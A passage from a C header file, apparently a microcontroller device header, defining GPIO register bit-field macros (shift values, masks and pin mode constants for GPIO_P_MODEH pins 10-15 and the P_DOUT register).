GPIO_P_MODEH_MODE10_WIREDANDALTFILTER (_GPIO_P_MODEH_MODE10_WIREDANDALTFILTER << 8) /**< Shifted mode WIREDANDALTFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE10_WIREDANDALTPULLUP (_GPIO_P_MODEH_MODE10_WIREDANDALTPULLUP << 8) /**< Shifted mode WIREDANDALTPULLUP for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE10_WIREDANDALTPULLUPFILTER (_GPIO_P_MODEH_MODE10_WIREDANDALTPULLUPFILTER << 8) /**< Shifted mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_SHIFT 12 /**< Shift value for GPIO_MODE11 */ #define _GPIO_P_MODEH_MODE11_MASK 0xF000UL /**< Bit mask for GPIO_MODE11 */ #define _GPIO_P_MODEH_MODE11_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_DISABLED 0x00000000UL /**< Mode DISABLED for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_INPUT 0x00000001UL /**< Mode INPUT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_INPUTPULL 0x00000002UL /**< Mode INPUTPULL for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_INPUTPULLFILTER 0x00000003UL /**< Mode INPUTPULLFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_PUSHPULL 0x00000004UL /**< Mode PUSHPULL for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_PUSHPULLALT 0x00000005UL /**< Mode PUSHPULLALT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_WIREDOR 0x00000006UL /**< Mode WIREDOR for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_WIREDORPULLDOWN 0x00000007UL /**< Mode WIREDORPULLDOWN for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_WIREDAND 0x00000008UL /**< Mode WIREDAND for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_WIREDANDFILTER 0x00000009UL /**< Mode WIREDANDFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_WIREDANDPULLUP 0x0000000AUL /**< Mode WIREDANDPULLUP for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_WIREDANDPULLUPFILTER 0x0000000BUL /**< Mode WIREDANDPULLUPFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_WIREDANDALT 0x0000000CUL /**< Mode WIREDANDALT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_WIREDANDALTFILTER 0x0000000DUL /**< Mode WIREDANDALTFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_WIREDANDALTPULLUP 0x0000000EUL /**< Mode WIREDANDALTPULLUP for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE11_WIREDANDALTPULLUPFILTER 0x0000000FUL /**< Mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_DEFAULT (_GPIO_P_MODEH_MODE11_DEFAULT << 12) /**< Shifted mode DEFAULT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_DISABLED (_GPIO_P_MODEH_MODE11_DISABLED << 12) /**< Shifted mode DISABLED for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_INPUT (_GPIO_P_MODEH_MODE11_INPUT << 12) /**< Shifted mode INPUT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_INPUTPULL (_GPIO_P_MODEH_MODE11_INPUTPULL << 12) /**< Shifted mode INPUTPULL for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_INPUTPULLFILTER (_GPIO_P_MODEH_MODE11_INPUTPULLFILTER << 12) /**< Shifted mode INPUTPULLFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_PUSHPULL (_GPIO_P_MODEH_MODE11_PUSHPULL << 12) /**< Shifted mode PUSHPULL for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_PUSHPULLALT (_GPIO_P_MODEH_MODE11_PUSHPULLALT << 12) /**< Shifted mode PUSHPULLALT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_WIREDOR (_GPIO_P_MODEH_MODE11_WIREDOR << 12) /**< Shifted mode WIREDOR for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_WIREDORPULLDOWN (_GPIO_P_MODEH_MODE11_WIREDORPULLDOWN << 12) /**< Shifted mode WIREDORPULLDOWN for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_WIREDAND (_GPIO_P_MODEH_MODE11_WIREDAND << 12) /**< Shifted mode WIREDAND for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_WIREDANDFILTER (_GPIO_P_MODEH_MODE11_WIREDANDFILTER << 12) /**< Shifted mode WIREDANDFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_WIREDANDPULLUP (_GPIO_P_MODEH_MODE11_WIREDANDPULLUP << 12) /**< Shifted mode WIREDANDPULLUP for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_WIREDANDPULLUPFILTER (_GPIO_P_MODEH_MODE11_WIREDANDPULLUPFILTER << 12) /**< Shifted mode WIREDANDPULLUPFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_WIREDANDALT (_GPIO_P_MODEH_MODE11_WIREDANDALT << 12) /**< Shifted mode WIREDANDALT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_WIREDANDALTFILTER (_GPIO_P_MODEH_MODE11_WIREDANDALTFILTER << 12) /**< Shifted mode WIREDANDALTFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_WIREDANDALTPULLUP (_GPIO_P_MODEH_MODE11_WIREDANDALTPULLUP << 12) /**< Shifted mode WIREDANDALTPULLUP for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE11_WIREDANDALTPULLUPFILTER (_GPIO_P_MODEH_MODE11_WIREDANDALTPULLUPFILTER << 12) /**< Shifted mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_SHIFT 16 /**< Shift value for GPIO_MODE12 */ #define _GPIO_P_MODEH_MODE12_MASK 0xF0000UL /**< Bit mask for GPIO_MODE12 */ #define _GPIO_P_MODEH_MODE12_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_DISABLED 0x00000000UL /**< Mode DISABLED for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_INPUT 0x00000001UL /**< Mode INPUT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_INPUTPULL 0x00000002UL /**< Mode INPUTPULL for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_INPUTPULLFILTER 0x00000003UL /**< Mode INPUTPULLFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_PUSHPULL 0x00000004UL /**< Mode PUSHPULL for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_PUSHPULLALT 0x00000005UL /**< Mode PUSHPULLALT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_WIREDOR 0x00000006UL /**< Mode WIREDOR for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_WIREDORPULLDOWN 0x00000007UL /**< Mode WIREDORPULLDOWN for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_WIREDAND 0x00000008UL /**< Mode WIREDAND for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_WIREDANDFILTER 0x00000009UL /**< Mode WIREDANDFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_WIREDANDPULLUP 0x0000000AUL /**< Mode WIREDANDPULLUP for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_WIREDANDPULLUPFILTER 0x0000000BUL /**< Mode WIREDANDPULLUPFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_WIREDANDALT 0x0000000CUL /**< Mode WIREDANDALT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_WIREDANDALTFILTER 0x0000000DUL /**< Mode WIREDANDALTFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_WIREDANDALTPULLUP 0x0000000EUL /**< Mode WIREDANDALTPULLUP for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE12_WIREDANDALTPULLUPFILTER 0x0000000FUL /**< Mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_DEFAULT (_GPIO_P_MODEH_MODE12_DEFAULT << 16) /**< Shifted mode DEFAULT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_DISABLED (_GPIO_P_MODEH_MODE12_DISABLED << 16) /**< Shifted mode DISABLED for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_INPUT (_GPIO_P_MODEH_MODE12_INPUT << 16) /**< Shifted mode INPUT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_INPUTPULL (_GPIO_P_MODEH_MODE12_INPUTPULL << 16) /**< Shifted mode INPUTPULL for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_INPUTPULLFILTER (_GPIO_P_MODEH_MODE12_INPUTPULLFILTER << 16) /**< Shifted mode INPUTPULLFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_PUSHPULL (_GPIO_P_MODEH_MODE12_PUSHPULL << 16) /**< Shifted mode PUSHPULL for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_PUSHPULLALT (_GPIO_P_MODEH_MODE12_PUSHPULLALT << 16) /**< Shifted mode PUSHPULLALT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_WIREDOR (_GPIO_P_MODEH_MODE12_WIREDOR << 16) /**< Shifted mode WIREDOR for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_WIREDORPULLDOWN (_GPIO_P_MODEH_MODE12_WIREDORPULLDOWN << 16) /**< Shifted mode WIREDORPULLDOWN for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_WIREDAND (_GPIO_P_MODEH_MODE12_WIREDAND << 16) /**< Shifted mode WIREDAND for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_WIREDANDFILTER (_GPIO_P_MODEH_MODE12_WIREDANDFILTER << 16) /**< Shifted mode WIREDANDFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_WIREDANDPULLUP (_GPIO_P_MODEH_MODE12_WIREDANDPULLUP << 16) /**< Shifted mode WIREDANDPULLUP for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_WIREDANDPULLUPFILTER (_GPIO_P_MODEH_MODE12_WIREDANDPULLUPFILTER << 16) /**< Shifted mode WIREDANDPULLUPFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_WIREDANDALT (_GPIO_P_MODEH_MODE12_WIREDANDALT << 16) /**< Shifted mode WIREDANDALT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_WIREDANDALTFILTER (_GPIO_P_MODEH_MODE12_WIREDANDALTFILTER << 16) /**< Shifted mode WIREDANDALTFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_WIREDANDALTPULLUP (_GPIO_P_MODEH_MODE12_WIREDANDALTPULLUP << 16) /**< Shifted mode WIREDANDALTPULLUP for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE12_WIREDANDALTPULLUPFILTER (_GPIO_P_MODEH_MODE12_WIREDANDALTPULLUPFILTER << 16) /**< Shifted mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_SHIFT 20 /**< Shift value for GPIO_MODE13 */ #define _GPIO_P_MODEH_MODE13_MASK 0xF00000UL /**< Bit mask for GPIO_MODE13 */ #define _GPIO_P_MODEH_MODE13_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_DISABLED 0x00000000UL /**< Mode DISABLED for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_INPUT 0x00000001UL /**< Mode INPUT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_INPUTPULL 0x00000002UL /**< Mode INPUTPULL for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_INPUTPULLFILTER 0x00000003UL /**< Mode INPUTPULLFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_PUSHPULL 0x00000004UL /**< Mode PUSHPULL for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_PUSHPULLALT 0x00000005UL /**< Mode PUSHPULLALT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_WIREDOR 0x00000006UL /**< Mode WIREDOR for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_WIREDORPULLDOWN 0x00000007UL /**< Mode WIREDORPULLDOWN for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_WIREDAND 0x00000008UL /**< Mode WIREDAND for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_WIREDANDFILTER 0x00000009UL /**< Mode WIREDANDFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_WIREDANDPULLUP 0x0000000AUL /**< Mode WIREDANDPULLUP for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_WIREDANDPULLUPFILTER 0x0000000BUL /**< Mode WIREDANDPULLUPFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_WIREDANDALT 0x0000000CUL /**< Mode WIREDANDALT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_WIREDANDALTFILTER 0x0000000DUL /**< Mode WIREDANDALTFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_WIREDANDALTPULLUP 0x0000000EUL /**< Mode WIREDANDALTPULLUP for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE13_WIREDANDALTPULLUPFILTER 0x0000000FUL /**< Mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_DEFAULT (_GPIO_P_MODEH_MODE13_DEFAULT << 20) /**< Shifted mode DEFAULT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_DISABLED (_GPIO_P_MODEH_MODE13_DISABLED << 20) /**< Shifted mode DISABLED for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_INPUT (_GPIO_P_MODEH_MODE13_INPUT << 20) /**< Shifted mode INPUT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_INPUTPULL (_GPIO_P_MODEH_MODE13_INPUTPULL << 20) /**< Shifted mode INPUTPULL for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_INPUTPULLFILTER (_GPIO_P_MODEH_MODE13_INPUTPULLFILTER << 20) /**< Shifted mode INPUTPULLFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_PUSHPULL (_GPIO_P_MODEH_MODE13_PUSHPULL << 20) /**< Shifted mode PUSHPULL for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_PUSHPULLALT (_GPIO_P_MODEH_MODE13_PUSHPULLALT << 20) /**< Shifted mode PUSHPULLALT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_WIREDOR (_GPIO_P_MODEH_MODE13_WIREDOR << 20) /**< Shifted mode WIREDOR for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_WIREDORPULLDOWN (_GPIO_P_MODEH_MODE13_WIREDORPULLDOWN << 20) /**< Shifted mode WIREDORPULLDOWN for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_WIREDAND (_GPIO_P_MODEH_MODE13_WIREDAND << 20) /**< Shifted mode WIREDAND for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_WIREDANDFILTER (_GPIO_P_MODEH_MODE13_WIREDANDFILTER << 20) /**< Shifted mode WIREDANDFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_WIREDANDPULLUP (_GPIO_P_MODEH_MODE13_WIREDANDPULLUP << 20) /**< Shifted mode WIREDANDPULLUP for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_WIREDANDPULLUPFILTER (_GPIO_P_MODEH_MODE13_WIREDANDPULLUPFILTER << 20) /**< Shifted mode WIREDANDPULLUPFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_WIREDANDALT (_GPIO_P_MODEH_MODE13_WIREDANDALT << 20) /**< Shifted mode WIREDANDALT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_WIREDANDALTFILTER (_GPIO_P_MODEH_MODE13_WIREDANDALTFILTER << 20) /**< Shifted mode WIREDANDALTFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_WIREDANDALTPULLUP (_GPIO_P_MODEH_MODE13_WIREDANDALTPULLUP << 20) /**< Shifted mode WIREDANDALTPULLUP for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE13_WIREDANDALTPULLUPFILTER (_GPIO_P_MODEH_MODE13_WIREDANDALTPULLUPFILTER << 20) /**< Shifted mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_SHIFT 24 /**< Shift value for GPIO_MODE14 */ #define _GPIO_P_MODEH_MODE14_MASK 0xF000000UL /**< Bit mask for GPIO_MODE14 */ #define _GPIO_P_MODEH_MODE14_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_DISABLED 0x00000000UL /**< Mode DISABLED for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_INPUT 0x00000001UL /**< Mode INPUT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_INPUTPULL 0x00000002UL /**< Mode INPUTPULL for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_INPUTPULLFILTER 0x00000003UL /**< Mode INPUTPULLFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_PUSHPULL 0x00000004UL /**< Mode PUSHPULL for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_PUSHPULLALT 0x00000005UL /**< Mode PUSHPULLALT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_WIREDOR 0x00000006UL /**< Mode WIREDOR for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_WIREDORPULLDOWN 0x00000007UL /**< Mode WIREDORPULLDOWN for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_WIREDAND 0x00000008UL /**< Mode WIREDAND for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_WIREDANDFILTER 0x00000009UL /**< Mode WIREDANDFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_WIREDANDPULLUP 0x0000000AUL /**< Mode WIREDANDPULLUP for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_WIREDANDPULLUPFILTER 0x0000000BUL /**< Mode WIREDANDPULLUPFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_WIREDANDALT 0x0000000CUL /**< Mode WIREDANDALT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_WIREDANDALTFILTER 0x0000000DUL /**< Mode WIREDANDALTFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_WIREDANDALTPULLUP 0x0000000EUL /**< Mode WIREDANDALTPULLUP for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE14_WIREDANDALTPULLUPFILTER 0x0000000FUL /**< Mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_DEFAULT (_GPIO_P_MODEH_MODE14_DEFAULT << 24) /**< Shifted mode DEFAULT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_DISABLED (_GPIO_P_MODEH_MODE14_DISABLED << 24) /**< Shifted mode DISABLED for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_INPUT (_GPIO_P_MODEH_MODE14_INPUT << 24) /**< Shifted mode INPUT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_INPUTPULL (_GPIO_P_MODEH_MODE14_INPUTPULL << 24) /**< Shifted mode INPUTPULL for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_INPUTPULLFILTER (_GPIO_P_MODEH_MODE14_INPUTPULLFILTER << 24) /**< Shifted mode INPUTPULLFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_PUSHPULL (_GPIO_P_MODEH_MODE14_PUSHPULL << 24) /**< Shifted mode PUSHPULL for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_PUSHPULLALT (_GPIO_P_MODEH_MODE14_PUSHPULLALT << 24) /**< Shifted mode PUSHPULLALT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_WIREDOR (_GPIO_P_MODEH_MODE14_WIREDOR << 24) /**< Shifted mode WIREDOR for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_WIREDORPULLDOWN (_GPIO_P_MODEH_MODE14_WIREDORPULLDOWN << 24) /**< Shifted mode WIREDORPULLDOWN for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_WIREDAND (_GPIO_P_MODEH_MODE14_WIREDAND << 24) /**< Shifted mode WIREDAND for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_WIREDANDFILTER (_GPIO_P_MODEH_MODE14_WIREDANDFILTER << 24) /**< Shifted mode WIREDANDFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_WIREDANDPULLUP (_GPIO_P_MODEH_MODE14_WIREDANDPULLUP << 24) /**< Shifted mode WIREDANDPULLUP for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_WIREDANDPULLUPFILTER (_GPIO_P_MODEH_MODE14_WIREDANDPULLUPFILTER << 24) /**< Shifted mode WIREDANDPULLUPFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_WIREDANDALT (_GPIO_P_MODEH_MODE14_WIREDANDALT << 24) /**< Shifted mode WIREDANDALT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_WIREDANDALTFILTER (_GPIO_P_MODEH_MODE14_WIREDANDALTFILTER << 24) /**< Shifted mode WIREDANDALTFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_WIREDANDALTPULLUP (_GPIO_P_MODEH_MODE14_WIREDANDALTPULLUP << 24) /**< Shifted mode WIREDANDALTPULLUP for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE14_WIREDANDALTPULLUPFILTER (_GPIO_P_MODEH_MODE14_WIREDANDALTPULLUPFILTER << 24) /**< Shifted mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_SHIFT 28 /**< Shift value for GPIO_MODE15 */ #define _GPIO_P_MODEH_MODE15_MASK 0xF0000000UL /**< Bit mask for GPIO_MODE15 */ #define _GPIO_P_MODEH_MODE15_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_DISABLED 0x00000000UL /**< Mode DISABLED for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_INPUT 0x00000001UL /**< Mode INPUT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_INPUTPULL 0x00000002UL /**< Mode INPUTPULL for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_INPUTPULLFILTER 0x00000003UL /**< Mode INPUTPULLFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_PUSHPULL 0x00000004UL /**< Mode PUSHPULL for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_PUSHPULLALT 0x00000005UL /**< Mode PUSHPULLALT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_WIREDOR 0x00000006UL /**< Mode WIREDOR for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_WIREDORPULLDOWN 0x00000007UL /**< Mode WIREDORPULLDOWN for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_WIREDAND 0x00000008UL /**< Mode WIREDAND for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_WIREDANDFILTER 0x00000009UL /**< Mode WIREDANDFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_WIREDANDPULLUP 0x0000000AUL /**< Mode WIREDANDPULLUP for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_WIREDANDPULLUPFILTER 0x0000000BUL /**< Mode WIREDANDPULLUPFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_WIREDANDALT 0x0000000CUL /**< Mode WIREDANDALT for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_WIREDANDALTFILTER 0x0000000DUL /**< Mode WIREDANDALTFILTER for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_WIREDANDALTPULLUP 0x0000000EUL /**< Mode WIREDANDALTPULLUP for GPIO_P_MODEH */ #define _GPIO_P_MODEH_MODE15_WIREDANDALTPULLUPFILTER 0x0000000FUL /**< Mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_DEFAULT (_GPIO_P_MODEH_MODE15_DEFAULT << 28) /**< Shifted mode DEFAULT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_DISABLED (_GPIO_P_MODEH_MODE15_DISABLED << 28) /**< Shifted mode DISABLED for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_INPUT (_GPIO_P_MODEH_MODE15_INPUT << 28) /**< Shifted mode INPUT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_INPUTPULL (_GPIO_P_MODEH_MODE15_INPUTPULL << 28) /**< Shifted mode INPUTPULL for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_INPUTPULLFILTER (_GPIO_P_MODEH_MODE15_INPUTPULLFILTER << 28) /**< Shifted mode INPUTPULLFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_PUSHPULL (_GPIO_P_MODEH_MODE15_PUSHPULL << 28) /**< Shifted mode PUSHPULL for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_PUSHPULLALT (_GPIO_P_MODEH_MODE15_PUSHPULLALT << 28) /**< Shifted mode PUSHPULLALT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_WIREDOR (_GPIO_P_MODEH_MODE15_WIREDOR << 28) /**< Shifted mode WIREDOR for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_WIREDORPULLDOWN (_GPIO_P_MODEH_MODE15_WIREDORPULLDOWN << 28) /**< Shifted mode WIREDORPULLDOWN for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_WIREDAND (_GPIO_P_MODEH_MODE15_WIREDAND << 28) /**< Shifted mode WIREDAND for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_WIREDANDFILTER (_GPIO_P_MODEH_MODE15_WIREDANDFILTER << 28) /**< Shifted mode WIREDANDFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_WIREDANDPULLUP (_GPIO_P_MODEH_MODE15_WIREDANDPULLUP << 28) /**< Shifted mode WIREDANDPULLUP for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_WIREDANDPULLUPFILTER (_GPIO_P_MODEH_MODE15_WIREDANDPULLUPFILTER << 28) /**< Shifted mode WIREDANDPULLUPFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_WIREDANDALT (_GPIO_P_MODEH_MODE15_WIREDANDALT << 28) /**< Shifted mode WIREDANDALT for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_WIREDANDALTFILTER (_GPIO_P_MODEH_MODE15_WIREDANDALTFILTER << 28) /**< Shifted mode WIREDANDALTFILTER for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_WIREDANDALTPULLUP (_GPIO_P_MODEH_MODE15_WIREDANDALTPULLUP << 28) /**< Shifted mode WIREDANDALTPULLUP for GPIO_P_MODEH */ #define GPIO_P_MODEH_MODE15_WIREDANDALTPULLUPFILTER (_GPIO_P_MODEH_MODE15_WIREDANDALTPULLUPFILTER << 28) /**< Shifted mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEH */ /* Bit fields for GPIO P_DOUT */ #define _GPIO_P_DOUT_RESETVALUE 0x00000000UL /**< Default value for GPIO_P_DOUT */ #define _GPIO_P_DOUT_MASK 0x0000FFFFUL /**< Mask for GPIO_P_DOUT */ #define _GPIO_P_DOUT_DOUT_SHIFT 0 /**< Shift value for GPIO_DOUT */ #define _GPIO_P_DOUT_DOUT_MASK 0xFFFFUL /**< Bit mask for GPIO_DOUT */ #define _GPIO_P_DOUT_DOUT_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_DOUT */ #define GPIO_P_DOUT_DOUT_DEFAULT (_GPIO_P_DOUT_DOUT_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_P_DOUT */ /* Bit fields for GPIO P_DOUTTGL */ #define _GPIO_P_DOUTTGL_RESETVALUE 0x00000000UL /**< Default value for GPIO_P_DOUTTGL */ #define _GPIO_P_DOUTTGL_MASK 0x0000FFFFUL /**< Mask for GPIO_P_DOUTTGL */ #define _GPIO_P_DOUTTGL_DOUTTGL_SHIFT 0 /**< Shift value for GPIO_DOUTTGL */ #define 